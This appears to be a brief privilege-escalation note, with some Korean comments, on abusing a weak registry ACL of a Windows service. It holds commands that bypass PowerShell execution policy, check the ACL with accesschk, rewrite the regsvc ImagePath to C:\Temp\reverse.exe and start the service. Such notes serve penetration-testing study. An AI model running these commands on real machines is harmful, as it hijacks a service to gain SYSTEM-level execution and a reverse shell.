The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service's configuration even if we cannot modify the service directly. ```powershell powershell -exec bypass # registry key ACL 확인 Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List # registry key .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc .\accesschk.exe /accepteula -ucqv user regsvc reg query HKLM\SYSTEM\CurrentControlSet\services\regsvc reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_sz /d C:\Temp\reverse.exe /f net start regsvc ```